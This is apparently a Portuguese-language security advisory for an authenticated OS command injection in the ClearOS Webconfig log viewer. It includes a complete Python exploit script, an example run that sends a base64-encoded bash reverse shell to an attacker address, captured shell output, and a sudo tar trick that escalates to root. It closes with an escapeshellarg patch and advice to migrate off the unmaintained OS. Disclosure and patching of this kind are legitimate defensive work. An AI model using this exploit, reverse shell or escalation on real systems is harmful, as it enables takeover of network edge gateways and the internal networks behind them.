
Autenticação de Injeção Cega de Comandos do Sistema Operacional no ClearOS
Pacote: ClearFoundation
Versões Testadas: ClearOS 7.9.1.342252
Tipo de Vulnerabilidade: Injeção de Comando do SO (CWE-78)
Gravidade: Alta
CVE: CVE-2026-67599
Vetor CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Pontuação: 7.2)
Agradecimentos ao VulnCheck pela ajuda na atribuição e rastreamento deste CVE-2026-67599 em meu nome.
O ClearOS é um sistema operacional construído sobre CentOS/RHEL, projetado para servir como gateway de rede, plataforma de Gerenciamento Unificado de Ameaças (UTM) e servidor de borda para pequenas e médias organizações. Operando principalmente como dispositivo de borda, ele gerencia regras de firewall, conexões VPN, roteamento e infraestrutura de rede central.
Como o ClearOS é implantado no perímetro da rede, interfaces administrativas como o Webconfig (porta 81) são frequentemente expostas a segmentos de gerenciamento ou diretamente a redes externas. Uma vulnerabilidade de execução de comandos nessa interface permite que um atacante comprometa o gateway, obtenha uma posição de persistência na borda e realize pivô diretamente para segmentos de rede internos.
/usr/clearos/apps/base/libraries/File.php — linhas 297, 314
O parâmetro filter enviado ao endpoint do Visualizador de Logs é passado sem sanitização para um comando shell construído em File.php. O valor $regex é interpolado diretamente na string do comando, em vez de ser passado como um argumento devidamente escapado, permitindo que payloads de substituição de comando, como $(...) ou expressões com crase, sejam executados como o usuário webconfig.
Encontrei isso durante um engajamento ativo. Aqui está um gerador de artefato simples.
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
Exemplo de shell reversa (atacante em .1, alvo em .129):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
Saída confirmada:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
A escalada de privilégios para root é facilmente realizada por meio das regras padrão, muito permissivas, do sudoers:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
No exemplo abaixo, usando o binário tar para escalar para root:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
Um usuário autenticado da interface web com acesso a Relatórios resulta em execução de comandos em nível de sistema operacional como o usuário webconfig. Em uma instalação padrão do ClearOS 7.9, webconfig recebe amplos privilégios NOPASSWD no sudo, permitindo escalada imediata para root sem credenciais adicionais. Um atacante pode obter acesso root persistente ao host subjacente, incluindo todos os dados, serviços e configurações de rede gerenciados pelo sistema.
O ClearOS está em fim de vida útil. A distribuição mais recente ainda disponível para download em clearos.com (versão ClearOS-7.9.1.342252) data de 13 de outubro de 2021 e não recebe nenhuma manutenção upstream nem atualizações de segurança.
Por causa disso, a correção de código abaixo é estritamente um curativo temporário. Executar um SO sem manutenção no perímetro da sua rede é brincar com fogo. O caminho fortemente recomendado é migrar completamente do ClearOS para um dispositivo de borda ou plataforma UTM com suporte.
Se você precisar manter este host ativo enquanto planeja uma migração, envolva $regex em escapeshellarg() nas linhas 297 e 314 de /usr/clearos/apps/base/libraries/File.php para alterar de:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
Para:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
Em seguida, reinicie o serviço webconfig:
sudo systemctl restart webconfig